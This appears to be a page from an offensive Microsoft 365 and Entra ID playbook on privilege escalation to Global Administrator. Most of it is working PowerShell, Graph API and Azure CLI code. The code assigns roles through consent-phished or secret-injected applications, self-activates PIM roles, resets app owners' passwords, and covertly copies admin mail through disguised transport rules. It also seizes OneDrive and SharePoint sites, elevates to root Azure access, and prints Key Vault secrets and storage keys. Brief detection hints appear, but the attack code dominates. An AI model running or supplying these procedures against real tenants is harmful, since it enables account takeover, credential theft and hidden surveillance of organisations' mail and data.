Privilege Escalation
Escalate from a standard user or limited-privilege account to Global Administrator or equivalent high-privilege roles within the Microsoft 365 and Entra ID environment.
Phase 5 Checklist
0 / 9 completed📱 Application & Consent Abuse
If during the Initial Access phase you successfully executed a consent phishing attack and tricked a Global Administrator (or a user with the ability to grant admin consent) into approving your malicious OAuth application with high-privilege permissions such as RoleManagement.ReadWrite.Directory, you can now leverage those permissions to assign yourself admin roles.
RoleManagement.ReadWrite.Directory or Directory.ReadWrite.All. This is the escalation step that follows a successful consent phishing campaign from Phase 2.
Step 1: Authenticate as the malicious application
Use the client credentials flow to obtain a token for your malicious application. Since an admin granted consent, the app now holds these permissions as application-level permissions on the service principal.
# Obtain an access token using client credentials flow
POST https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/token
Content-Type: application/x-www-form-urlencoded
client_id={malicious-app-client-id}
&scope=https://graph.microsoft.com/.default
&client_secret={your-client-secret}
&grant_type=client_credentials
Step 2: Look up the Global Administrator directory role ID
Query the directoryRoles endpoint to find the role object ID for Global Administrator (also known as Company Administrator). The role template ID for Global Administrator is 62e90394-69f5-4237-9190-012177145e10.
# List activated directory roles to find Global Administrator
GET https://graph.microsoft.com/v1.0/directoryRoles
Authorization: Bearer {access_token}
# If Global Admin role isn't yet activated, activate it first:
POST https://graph.microsoft.com/v1.0/directoryRoles
Authorization: Bearer {access_token}
Content-Type: application/json
{
"roleTemplateId": "62e90394-69f5-4237-9190-012177145e10"
}
Step 3: Add your controlled user to the Global Administrator role
Using the application's RoleManagement.ReadWrite.Directory permission, add a user you control as a member of the Global Administrator directory role.
# Add user to Global Administrator directory role
POST https://graph.microsoft.com/v1.0/directoryRoles/{global-admin-role-id}/members/$ref
Authorization: Bearer {access_token}
Content-Type: application/json
{
"@odata.id": "https://graph.microsoft.com/v1.0/users/{target-user-object-id}"
}
# Alternative: Using Microsoft Graph PowerShell SDK with the app token
# Connect using client credentials
$ClientSecret = ConvertTo-SecureString "{your-secret}" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("{app-id}", $ClientSecret)
Connect-MgGraph -TenantId "{tenant-id}" -ClientSecretCredential $Credential
# Get Global Admin role
$GlobalAdminRole = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }
# Add your user to the role
$params = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/users/{target-user-id}"
}
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $GlobalAdminRole.Id -BodyParameter $params
Step 4: Verify the escalation
# Verify the user is now in the Global Administrator role
GET https://graph.microsoft.com/v1.0/directoryRoles/{global-admin-role-id}/members
Authorization: Bearer {access_token}
# Or check from the user's perspective
GET https://graph.microsoft.com/v1.0/users/{target-user-id}/memberOf
Authorization: Bearer {access_token}
Consent to application events. Use Conditional Access to block risky consent operations.
If the compromised user holds the Application Administrator or Cloud Application Administrator role, they have the ability to manage credentials (secrets and certificates) for all application registrations and enterprise applications (service principals) in the tenant. This is a powerful escalation vector because many tenants have existing applications with high-privilege API permissions.
Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory, you inherit those permissions when you authenticate as that service principal.
Step 1: Enumerate high-privilege applications
First, find app registrations that have been granted dangerous permissions. Look for applications with application-level (not delegated) permissions to Microsoft Graph or other APIs.
# Connect as the compromised Application Administrator
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# List all app registrations and their required resource access
$Apps = Get-MgApplication -All
# Find apps with high-privilege permissions (application-level)
# Microsoft Graph AppId: 00000003-0000-0000-c000-000000000000
$DangerousPerms = @(
"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
"19dbc75e-c2e2-444c-a770-ec69d8559fc7" # Directory.ReadWrite.All
"06b708a9-e830-4db3-a914-8e69da51d44f" # AppRoleAssignment.ReadWrite.All
"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9" # Application.ReadWrite.All
)
foreach ($App in $Apps) {
foreach ($Resource in $App.RequiredResourceAccess) {
if ($Resource.ResourceAppId -eq "00000003-0000-0000-c000-000000000000") {
$HighPriv = $Resource.ResourceAccess | Where-Object {
$_.Type -eq "Role" -and $DangerousPerms -contains $_.Id
}
if ($HighPriv) {
Write-Host "[!] High-priv app: $($App.DisplayName) ($($App.AppId))" -ForegroundColor Red
$HighPriv | ForEach-Object { Write-Host " Permission ID: $($_.Id)" }
}
}
}
}
Step 2: Add a new client secret to the target application
Once you identify a high-privilege application, inject a new client secret that you control. This gives you the ability to authenticate as that application's service principal.
# Add a new client secret to the target application
$TargetAppId = "{target-app-object-id}" # Object ID, not AppId
$PasswordCred = @{
displayName = "Backup credential"
endDateTime = (Get-Date).AddYears(1)
}
$NewSecret = Add-MgApplicationPassword -ApplicationId $TargetAppId -PasswordCredential $PasswordCred
# Save the secret value - it's only shown once!
Write-Host "[+] New secret for $TargetAppId" -ForegroundColor Green
Write-Host " Secret: $($NewSecret.SecretText)"
Write-Host " Key ID: $($NewSecret.KeyId)"
Write-Host " Expiry: $($NewSecret.EndDateTime)"
Step 3: Authenticate as the service principal
Use the client credentials grant with the new secret to authenticate as the service principal. You now inherit whatever API permissions have been granted (and admin-consented) to this application.
# Authenticate as the service principal using the injected secret
$AppClientId = "{target-app-client-id}" # The Application (client) ID
$TenantId = "{tenant-id}"
$Secret = ConvertTo-SecureString $NewSecret.SecretText -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($AppClientId, $Secret)
Connect-MgGraph -TenantId $TenantId -ClientSecretCredential $Credential
# Verify permissions - list your assigned app roles
$SP = Get-MgServicePrincipal -Filter "appId eq '$AppClientId'"
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id |
Select-Object ResourceDisplayName, AppRoleId
# If the app has RoleManagement.ReadWrite.Directory, escalate now:
$RoleDefinitionId = "62e90394-69f5-4237-9190-012177145e10" # Global Admin template
$params = @{
"@odata.type" = "#microsoft.graph.unifiedRoleAssignment"
roleDefinitionId = $RoleDefinitionId
principalId = "{your-user-object-id}"
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment -BodyParameter $params
Update application - Certificates and secrets management audit log entry in Entra ID. Alert on Add service principal credentials events. Restrict the Application Administrator role to a minimal set of trusted admins. Use Conditional Access policies targeting service principal sign-ins. Consider using managed identities instead of client secrets where possible.
Many tenants accumulate applications over time that were granted overly broad permissions during initial setup and never reviewed. Applications with permissions like Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory, AppRoleAssignment.ReadWrite.All, or Application.ReadWrite.All represent significant privilege escalation opportunities if you can add credentials to them.
Directory.ReadWrite.All are prime targets.
Comprehensive permission audit using Graph API
# Enumerate all service principals and their app role assignments
# App role assignments show the actual granted (consented) permissions
$AllSPs = Get-MgServicePrincipal -All
$GraphSP = $AllSPs | Where-Object { $_.AppId -eq "00000003-0000-0000-c000-000000000000" }
# Get all app role assignments for Microsoft Graph
$GraphAppRoles = Get-MgServicePrincipalAppRoleAssignedTo -ServicePrincipalId $GraphSP.Id -All
# Map dangerous role IDs to names
$DangerousRoles = @{
"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" = "RoleManagement.ReadWrite.Directory"
"19dbc75e-c2e2-444c-a770-ec69d8559fc7" = "Directory.ReadWrite.All"
"06b708a9-e830-4db3-a914-8e69da51d44f" = "AppRoleAssignment.ReadWrite.All"
"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9" = "Application.ReadWrite.All"
"741f803b-c850-494e-b5df-cde7c675a1ca" = "User.ReadWrite.All"
"62a82d76-70ea-41e2-9197-370581804d09" = "Group.ReadWrite.All"
"e1fe6dd8-ba31-4d61-89e7-88639da4683d" = "User.Read.All (application)"
}
# Find service principals with dangerous permissions
foreach ($Assignment in $GraphAppRoles) {
if ($DangerousRoles.ContainsKey($Assignment.AppRoleId)) {
$SP = $AllSPs | Where-Object { $_.Id -eq $Assignment.PrincipalId }
Write-Host "[!] $($SP.DisplayName) has $($DangerousRoles[$Assignment.AppRoleId])" -ForegroundColor Red
Write-Host " SP Object ID: $($SP.Id)"
Write-Host " App ID: $($SP.AppId)"
}
}
Using ROADtools for offline analysis
ROADtools can dump the entire Entra ID directory and allow you to analyse app permissions offline, which is stealthier than making many live Graph API queries.
# Dump the directory with ROADrecon
roadrecon auth -u "user@target.com" -p "password"
roadrecon gather
# Launch the GUI to visually explore app permissions
roadrecon gui
# The GUI shows app registrations, their permissions, and owners
# Navigate to: Applications > filter by high permissions
# Look for apps with Role assignments (application permissions)
Identifying application owners for alternative escalation
If you cannot directly add credentials (you don't have Application Administrator), check if the compromised user is listed as an owner of any applications. Application owners can add credentials to their own applications.
# Check if the compromised user owns any applications
$UserId = "{compromised-user-id}"
# Get apps owned by this user
$OwnedApps = Get-MgUserOwnedObject -UserId $UserId |
Where-Object { $_.'@odata.type' -eq "#microsoft.graph.application" }
foreach ($App in $OwnedApps) {
$FullApp = Get-MgApplication -ApplicationId $App.Id
Write-Host "[+] Owned app: $($FullApp.DisplayName) - $($FullApp.AppId)"
# Check if this app has any interesting permissions
$FullApp.RequiredResourceAccess | ForEach-Object {
$_.ResourceAccess | Where-Object { $_.Type -eq "Role" } | ForEach-Object {
Write-Host " App Permission: $($_.Id)"
}
}
}
Add app role assignment to service principal and Add owner to application audit log events. Enable Microsoft Defender for Cloud Apps to detect anomalous application activity.
👑 Entra ID Role Abuse
Entra ID Privileged Identity Management (PIM) allows organisations to make administrative roles "eligible" rather than permanently assigned. Users with eligible roles can activate them on demand, typically for a limited time window. If your compromised user has eligible role assignments — particularly ones that do not require approval or MFA for activation — you can self-activate to escalate privileges.
Step 1: Enumerate eligible role assignments for the compromised user
# Connect as the compromised user
Connect-MgGraph -Scopes "RoleEligibilitySchedule.Read.Directory","RoleAssignmentSchedule.ReadWrite.Directory"
# List eligible role assignments for the current user
$UserId = (Get-MgContext).Account
$EligibleRoles = Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "principalId eq '{user-object-id}'"
foreach ($Role in $EligibleRoles) {
$RoleDef = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $Role.RoleDefinitionId
Write-Host "[+] Eligible role: $($RoleDef.DisplayName)" -ForegroundColor Green
Write-Host " Role Definition ID: $($Role.RoleDefinitionId)"
Write-Host " Scope: $($Role.DirectoryScopeId)"
Write-Host " Schedule: $($Role.ScheduleInfo.StartDateTime) - $($Role.ScheduleInfo.Expiration.EndDateTime)"
}
Step 2: Check PIM policy settings for activation requirements
# Get the PIM role management policy for a specific role
# This reveals approval requirements, MFA needs, justification requirements
$PolicyAssignments = Get-MgPolicyRoleManagementPolicyAssignment -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole' and roleDefinitionId eq '{role-definition-id}'"
foreach ($pa in $PolicyAssignments) {
$Policy = Get-MgPolicyRoleManagementPolicy -UnifiedRoleManagementPolicyId $pa.PolicyId
$Rules = Get-MgPolicyRoleManagementPolicyRule -UnifiedRoleManagementPolicyId $pa.PolicyId
foreach ($Rule in $Rules) {
Write-Host "Rule: $($Rule.Id) - $($Rule.AdditionalProperties | ConvertTo-Json -Depth 3)"
}
}
Step 3: Self-activate the eligible role
# Self-activate an eligible role via PIM
$params = @{
action = "selfActivate"
principalId = "{your-user-object-id}"
roleDefinitionId = "{role-definition-id}"
directoryScopeId = "/"
justification = "Routine administrative task - ticket REQ-12345"
scheduleInfo = @{
startDateTime = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ")
expiration = @{
type = "AfterDuration"
duration = "PT8H" # 8-hour activation window
}
}
}
New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter $params
# Verify the activation
Get-MgRoleManagementDirectoryRoleAssignmentSchedule -Filter "principalId eq '{your-user-object-id}'"
# Direct Graph API call to activate eligible role
POST https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests
Authorization: Bearer {user_access_token}
Content-Type: application/json
{
"action": "selfActivate",
"principalId": "{your-user-object-id}",
"roleDefinitionId": "{role-definition-id}",
"directoryScopeId": "/",
"justification": "Routine administrative task",
"scheduleInfo": {
"startDateTime": "2025-01-15T10:00:00Z",
"expiration": {
"type": "AfterDuration",
"duration": "PT8H"
}
}
}
Organisations can create custom Entra ID roles with specific combinations of permissions. Sometimes these custom roles are configured with dangerous permissions that effectively grant admin-equivalent access without the role appearing as a built-in admin role. This can bypass monitoring that only checks for built-in role assignments.
microsoft.directory/servicePrincipals/credentials/update, microsoft.directory/applications/credentials/update, microsoft.directory/servicePrincipals/owners/update, or microsoft.directory/roleAssignments/allProperties/update. Any of these can be chained to achieve Global Admin-equivalent access.
Step 1: Enumerate all custom role definitions
# Get all custom role definitions (isBuiltIn eq false)
$CustomRoles = Get-MgRoleManagementDirectoryRoleDefinition -Filter "isBuiltIn eq false"
# Dangerous permissions to look for
$DangerousPermissions = @(
"microsoft.directory/servicePrincipals/credentials/update"
"microsoft.directory/applications/credentials/update"
"microsoft.directory/servicePrincipals/owners/update"
"microsoft.directory/applications/owners/update"
"microsoft.directory/roleAssignments/allProperties/update"
"microsoft.directory/servicePrincipals/appRoleAssignedTo/update"
"microsoft.directory/servicePrincipals/permissions/update"
)
foreach ($Role in $CustomRoles) {
Write-Host "`n[*] Custom Role: $($Role.DisplayName) ($($Role.Id))" -ForegroundColor Cyan
Write-Host " Description: $($Role.Description)"
Write-Host " Enabled: $($Role.IsEnabled)"
foreach ($Perm in $Role.RolePermissions) {
foreach ($Action in $Perm.AllowedResourceActions) {
$IsDangerous = $DangerousPermissions | Where-Object { $Action -like $_ }
if ($IsDangerous) {
Write-Host " [!] DANGEROUS: $Action" -ForegroundColor Red
} else {
Write-Host " Permission: $Action" -ForegroundColor Gray
}
}
}
}
Step 2: Find users assigned to dangerous custom roles
# For each dangerous custom role, find who has it assigned
foreach ($Role in $CustomRoles) {
$Assignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "roleDefinitionId eq '$($Role.Id)'"
if ($Assignments) {
Write-Host "`n[!] Assignments for: $($Role.DisplayName)" -ForegroundColor Yellow
foreach ($Assignment in $Assignments) {
# Resolve the principal
try {
$User = Get-MgUser -UserId $Assignment.PrincipalId -ErrorAction Stop
Write-Host " User: $($User.DisplayName) ($($User.UserPrincipalName))"
} catch {
Write-Host " Principal ID: $($Assignment.PrincipalId) (may be group or SP)"
}
Write-Host " Scope: $($Assignment.DirectoryScopeId)"
}
}
}
# If your compromised user has microsoft.directory/servicePrincipals/credentials/update
# you can add credentials to ANY service principal, then authenticate as it.
# This chains directly into Step 2 (Application Administrator Abuse) above.
The Helpdesk Administrator and Password Administrator roles can reset passwords for non-admin users. While these roles cannot reset passwords for users who hold admin roles (Global Admin, Exchange Admin, etc.), they can target regular users who may have access to sensitive resources, service accounts with broad access, or users who are owners of high-privilege applications.
Step 1: Identify valuable non-admin targets
# Find users who own applications with high privileges
# These are prime targets for password reset abuse
$Apps = Get-MgApplication -All
$AdminRoleMembers = @()
# Get all admin role members (we CANNOT reset these)
$AdminRoles = Get-MgDirectoryRole
foreach ($AdminRole in $AdminRoles) {
$Members = Get-MgDirectoryRoleMember -DirectoryRoleId $AdminRole.Id
$AdminRoleMembers += $Members.Id
}
$AdminRoleMembers = $AdminRoleMembers | Select-Object -Unique
# Find app owners who are NOT admins (targets for password reset)
foreach ($App in $Apps) {
$Owners = Get-MgApplicationOwner -ApplicationId $App.Id
foreach ($Owner in $Owners) {
if ($Owner.Id -notin $AdminRoleMembers) {
Write-Host "[+] Non-admin app owner found!" -ForegroundColor Green
Write-Host " App: $($App.DisplayName)"
Write-Host " Owner: $($Owner.AdditionalProperties.userPrincipalName)"
Write-Host " Owner ID: $($Owner.Id)"
}
}
}
Step 2: Reset the target user's password
# Reset the target user's password using Helpdesk Admin privileges
$TargetUserId = "{target-user-object-id}"
$NewPassword = "T3mp!P@ssw0rd$(Get-Random -Minimum 1000 -Maximum 9999)"
# Method 1: Using Update-MgUser to set a new password
$PasswordProfile = @{
password = $NewPassword
forceChangePasswordNextSignIn = $false
}
Update-MgUser -UserId $TargetUserId -PasswordProfile $PasswordProfile
Write-Host "[+] Password reset successful for $TargetUserId" -ForegroundColor Green
Write-Host " New password: $NewPassword"
# Method 2: Using the authentication methods API (for resetting MFA too)
# List the user's authentication methods first
Get-MgUserAuthenticationMethod -UserId $TargetUserId
# Reset password via authentication method
Reset-MgUserAuthenticationMethodPassword -UserId $TargetUserId -NewPassword $NewPassword
Step 3: Log in as the target and escalate
# Now authenticate as the target user who owns the high-priv app
$SecurePass = ConvertTo-SecureString $NewPassword -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("targetuser@domain.com", $SecurePass)
# Connect as the target user
Connect-MgGraph -TenantId "{tenant-id}"
# As the app owner, add a new secret to the high-privilege app
$OwnedApp = Get-MgUserOwnedObject -UserId "{target-user-id}" |
Where-Object { $_.'@odata.type' -eq "#microsoft.graph.application" }
$PasswordCred = @{ displayName = "Service credential"; endDateTime = (Get-Date).AddMonths(6) }
$NewAppSecret = Add-MgApplicationPassword -ApplicationId $OwnedApp.Id -PasswordCredential $PasswordCred
Write-Host "[+] Added secret to owned app: $($NewAppSecret.SecretText)"
# Then authenticate as the service principal (see Step 2 above)
Reset password audit events and alert on bulk resets or resets of sensitive accounts. Use Conditional Access to require MFA for application owners.
🖥 Service-Level Escalation
The Exchange Administrator role provides powerful capabilities within Exchange Online that can be abused for privilege escalation. Exchange Admins can create mail flow (transport) rules, manage all mailboxes, configure forwarding, and access mailbox contents through full access permissions. While not a direct path to Global Admin, these capabilities allow you to intercept sensitive communications, access admin mailboxes, and gather credentials or tokens that may lead to higher privileges.
Step 1: Connect to Exchange Online and enumerate admin mailboxes
# Connect to Exchange Online as the Exchange Administrator
Connect-ExchangeOnline -UserPrincipalName "exchadadmin@target.com"
# List all mailboxes with admin role memberships
# First, get admin users from Entra ID roles
$GlobalAdmins = Get-MgDirectoryRoleMember -DirectoryRoleId (
Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'"
).Id
# Check mailbox details for each admin
foreach ($Admin in $GlobalAdmins) {
$UPN = $Admin.AdditionalProperties.userPrincipalName
$Mailbox = Get-Mailbox -Identity $UPN -ErrorAction SilentlyContinue
if ($Mailbox) {
Write-Host "[+] Admin mailbox: $UPN" -ForegroundColor Green
Write-Host " Forwarding: $($Mailbox.ForwardingSmtpAddress)"
Write-Host " Audit enabled: $($Mailbox.AuditEnabled)"
}
}
Step 2: Grant yourself full access to an admin's mailbox
# Grant full access to a Global Admin's mailbox
# This allows reading all email without the admin knowing (if AutoMapping disabled)
Add-MailboxPermission -Identity "globaladmin@target.com" `
-User "exchadadmin@target.com" `
-AccessRights FullAccess `
-AutoMapping $false # Prevents mailbox appearing in Outlook automatically
# Search the admin's mailbox for password reset emails, MFA codes, etc.
Search-Mailbox -Identity "globaladmin@target.com" `
-SearchQuery "subject:'password reset' OR subject:'verification code' OR subject:'MFA' OR subject:'temporary password'" `
-TargetMailbox "exchadadmin@target.com" `
-TargetFolder "SearchResults" `
-LogOnly
Step 3: Create a mail flow rule for ongoing interception
# Create a transport rule to BCC all admin emails to your mailbox
# This intercepts password resets, security alerts, and other sensitive comms
New-TransportRule -Name "Compliance Logging" `
-SentTo "globaladmin@target.com" `
-BlindCopyTo "exchadadmin@target.com" `
-Priority 0
# Create a rule to intercept password reset emails from Microsoft
New-TransportRule -Name "Security Notifications Audit" `
-FromAddressContainsWords @("microsoft.com", "microsoftonline.com") `
-SubjectOrBodyContainsWords @("password", "reset", "verification", "security code") `
-BlindCopyTo "exchadadmin@target.com" `
-Priority 0
# Set up forwarding on admin mailbox (more visible but effective)
Set-Mailbox -Identity "globaladmin@target.com" `
-ForwardingSmtpAddress "exchadadmin@target.com" `
-DeliverToMailboxAndForward $true
Step 4: Trigger a password reset and intercept it
With email interception in place, initiate a self-service password reset for the target admin account (if SSPR is enabled) and capture the reset link from the intercepted email. Alternatively, search for existing password reset or invitation emails.
# Use compliance search for a broader targeted search across all mailboxes
New-ComplianceSearch -Name "CredentialHarvest" `
-ExchangeLocation "globaladmin@target.com" `
-ContentMatchQuery '(subject:"password" OR subject:"credential" OR subject:"secret" OR subject:"API key") AND (from:noreply@microsoft.com OR from:msonlineservicesteam@microsoftonline.com)'
Start-ComplianceSearch -Identity "CredentialHarvest"
# Wait for search to complete, then preview results
Get-ComplianceSearch -Identity "CredentialHarvest" | Format-List Status, Items
The SharePoint Administrator role grants control over all SharePoint Online site collections and OneDrive for Business accounts in the tenant. This includes the ability to access any user's OneDrive, read any SharePoint site, and modify sharing settings. SharePoint often contains highly sensitive documents including credentials, architecture diagrams, HR data, and financial records that can enable further escalation.
Step 1: Enumerate all site collections and OneDrive sites
# Connect to SharePoint Online Management Shell
Connect-SPOService -Url "https://target-admin.sharepoint.com"
# List all site collections
$Sites = Get-SPOSite -Limit All -IncludePersonalSite $true
Write-Host "[+] Total sites found: $($Sites.Count)"
# Filter for interesting sites
$Sites | Where-Object {
$_.Url -match "admin|hr|finance|executive|it-ops|security|credentials|passwords|infra"
} | ForEach-Object {
Write-Host "[!] Interesting site: $($_.Title) - $($_.Url)" -ForegroundColor Yellow
Write-Host " Owner: $($_.Owner)"
Write-Host " Storage used: $([math]::Round($_.StorageUsageCurrent / 1024, 2)) GB"
}
# List OneDrive sites (personal sites)
$OneDrives = $Sites | Where-Object { $_.Url -like "*-my.sharepoint.com/personal/*" }
Write-Host "`n[+] OneDrive sites found: $($OneDrives.Count)"
Step 2: Grant yourself access to a target user's OneDrive
# Add yourself as a Site Collection Administrator on the admin's OneDrive
$AdminOneDrive = "https://target-my.sharepoint.com/personal/globaladmin_target_com"
Set-SPOUser -Site $AdminOneDrive `
-LoginName "spadmin@target.com" `
-IsSiteCollectionAdmin $true
Write-Host "[+] Granted Site Collection Admin on: $AdminOneDrive"
# Now browse to the OneDrive URL in a browser or use PnP PowerShell to list files
Connect-PnPOnline -Url $AdminOneDrive -Interactive
# List all files and folders in their OneDrive
$Items = Get-PnPListItem -List "Documents" -PageSize 500
foreach ($Item in $Items) {
$Path = $Item.FieldValues.FileRef
$Size = $Item.FieldValues.File_x0020_Size
Write-Host "$Path ($([math]::Round($Size / 1KB, 1)) KB)"
}
Step 3: Search for sensitive content across SharePoint
# Use PnP Search to find sensitive documents across the entire tenant
Connect-PnPOnline -Url "https://target.sharepoint.com" -Interactive
# Search for files containing passwords or credentials
$Queries = @(
"password filename:xlsx OR filename:csv OR filename:txt"
"credential filename:docx OR filename:txt"
"API key OR secret key filename:txt OR filename:json OR filename:config"
"connectionstring OR connection string"
'"global admin" OR "admin password"'
)
foreach ($Query in $Queries) {
Write-Host "`n[*] Searching: $Query" -ForegroundColor Cyan
$Results = Submit-PnPSearchQuery -Query $Query -MaxResults 50 -SelectProperties "Title,Path,Author,Size,LastModifiedTime"
foreach ($Result in $Results.ResultRows) {
Write-Host " [+] $($Result.Title)" -ForegroundColor Green
Write-Host " Path: $($Result.Path)"
Write-Host " Author: $($Result.Author)"
Write-Host " Modified: $($Result.LastModifiedTime)"
}
}
Step 4: Access admin-only SharePoint sites
# Check for sites with restricted access that may contain sensitive admin content
$RestrictedSites = @(
"https://target.sharepoint.com/sites/IT-Infrastructure"
"https://target.sharepoint.com/sites/SecurityTeam"
"https://target.sharepoint.com/sites/AdminResources"
"https://target.sharepoint.com/sites/CloudOps"
)
foreach ($SiteUrl in $RestrictedSites) {
try {
$Site = Get-SPOSite -Identity $SiteUrl -ErrorAction Stop
# Grant yourself admin access
Set-SPOUser -Site $SiteUrl `
-LoginName "spadmin@target.com" `
-IsSiteCollectionAdmin $true
Write-Host "[+] Accessed: $SiteUrl" -ForegroundColor Green
} catch {
Write-Host "[-] Site not found: $SiteUrl" -ForegroundColor Gray
}
}
If the target tenant also has Azure subscriptions, a compromised M365 user account may have Azure RBAC (Role-Based Access Control) roles assigned. This is a cross-boundary escalation where access in the M365/Entra ID plane can be leveraged to access Azure resources such as Key Vaults (containing secrets, certificates, and keys), Virtual Machines, Storage Accounts, and other cloud infrastructure. Global Administrators can also elevate themselves to the User Access Administrator role on all Azure subscriptions.
User Access Administrator role at the root (/) management group scope across all Azure subscriptions in the tenant. This is a built-in backdoor path.
Step 1: Enumerate Azure subscriptions and RBAC roles
# Connect to Azure with the compromised M365 account
Connect-AzAccount
# List all accessible subscriptions
$Subscriptions = Get-AzSubscription
Write-Host "[+] Accessible subscriptions: $($Subscriptions.Count)"
foreach ($Sub in $Subscriptions) {
Write-Host "`n[*] Subscription: $($Sub.Name) ($($Sub.Id))" -ForegroundColor Cyan
Set-AzContext -SubscriptionId $Sub.Id
# List your role assignments in this subscription
$Roles = Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id
foreach ($Role in $Roles) {
Write-Host " [+] Role: $($Role.RoleDefinitionName) at scope: $($Role.Scope)"
}
}
Step 2: Global Admin elevation to Azure User Access Administrator
# If you are Global Admin, elevate to User Access Administrator on all Azure resources
# This is done via the Entra ID properties toggle or via REST API
$Token = (Get-AzAccessToken -ResourceUrl "https://management.azure.com").Token
# Enable elevation via REST API
$Headers = @{
"Authorization" = "Bearer $Token"
"Content-Type" = "application/json"
}
Invoke-RestMethod -Uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" `
-Method POST `
-Headers $Headers
Write-Host "[+] Elevated to User Access Administrator at root scope" -ForegroundColor Green
# Verify the elevation
Get-AzRoleAssignment -SignInName (Get-AzContext).Account.Id -Scope "/"
Step 3: Access Azure Key Vaults for stored secrets
# Enumerate all Key Vaults across accessible subscriptions
foreach ($Sub in Get-AzSubscription) {
Set-AzContext -SubscriptionId $Sub.Id
$Vaults = Get-AzKeyVault
foreach ($Vault in $Vaults) {
Write-Host "`n[!] Key Vault: $($Vault.VaultName) in $($Vault.ResourceGroupName)" -ForegroundColor Yellow
# Try to list secrets
try {
$Secrets = Get-AzKeyVaultSecret -VaultName $Vault.VaultName -ErrorAction Stop
foreach ($Secret in $Secrets) {
Write-Host " [+] Secret: $($Secret.Name)" -ForegroundColor Green
Write-Host " Created: $($Secret.Created)"
Write-Host " Updated: $($Secret.Updated)"
Write-Host " Enabled: $($Secret.Enabled)"
# Retrieve the secret value
$SecretValue = Get-AzKeyVaultSecret -VaultName $Vault.VaultName -Name $Secret.Name -AsPlainText
Write-Host " Value: $SecretValue" -ForegroundColor Red
}
} catch {
Write-Host " [-] Access denied to secrets (RBAC or access policy restriction)"
}
# Try to list certificates
try {
$Certs = Get-AzKeyVaultCertificate -VaultName $Vault.VaultName -ErrorAction Stop
foreach ($Cert in $Certs) {
Write-Host " [+] Certificate: $($Cert.Name)" -ForegroundColor Green
}
} catch {
Write-Host " [-] Access denied to certificates"
}
}
}
Step 4: Enumerate resource groups and other valuable resources
# List all resource groups and their resources
$ResourceGroups = Get-AzResourceGroup
foreach ($RG in $ResourceGroups) {
Write-Host "`n[*] Resource Group: $($RG.ResourceGroupName)" -ForegroundColor Cyan
$Resources = Get-AzResource -ResourceGroupName $RG.ResourceGroupName
foreach ($Res in $Resources) {
Write-Host " $($Res.ResourceType): $($Res.Name)"
}
}
# Check for VMs (potential for Run Command abuse)
$VMs = Get-AzVM
foreach ($VM in $VMs) {
Write-Host "[+] VM: $($VM.Name) ($($VM.Location))" -ForegroundColor Green
Write-Host " OS: $($VM.StorageProfile.OsDisk.OsType)"
Write-Host " Status: $((Get-AzVM -Name $VM.Name -ResourceGroupName $VM.ResourceGroupName -Status).Statuses[1].DisplayStatus)"
}
# Check for Storage Accounts (may contain blobs with secrets)
$StorageAccounts = Get-AzStorageAccount
foreach ($SA in $StorageAccounts) {
Write-Host "[+] Storage Account: $($SA.StorageAccountName)"
$Keys = Get-AzStorageAccountKey -ResourceGroupName $SA.ResourceGroupName -AccountName $SA.StorageAccountName
Write-Host " Key1: $($Keys[0].Value)" -ForegroundColor Red
}
# Check for Automation Accounts (may contain credentials and runbooks)
$AutoAccounts = Get-AzAutomationAccount
foreach ($AA in $AutoAccounts) {
Write-Host "[+] Automation Account: $($AA.AutomationAccountName)"
$Credentials = Get-AzAutomationCredential -ResourceGroupName $AA.ResourceGroupName -AutomationAccountName $AA.AutomationAccountName
foreach ($Cred in $Credentials) {
Write-Host " Credential: $($Cred.Name) - UserName: $($Cred.UserName)" -ForegroundColor Yellow
}
}
# Alternative: Using Azure CLI for quick enumeration
az login
az account list --output table
az role assignment list --assignee "user@target.com" --output table
# List all Key Vaults
az keyvault list --output table
# Get secrets from a vault
az keyvault secret list --vault-name "target-vault" --output table
az keyvault secret show --vault-name "target-vault" --name "secret-name"
# Run AzureHound for comprehensive attack path analysis
azurehound list -u "user@target.com" -p "password" -t "tenant-id" -o output.json
elevateAccess operations. Separate M365 admin accounts from Azure admin accounts. Use Privileged Access Groups for Azure RBAC role assignments via PIM.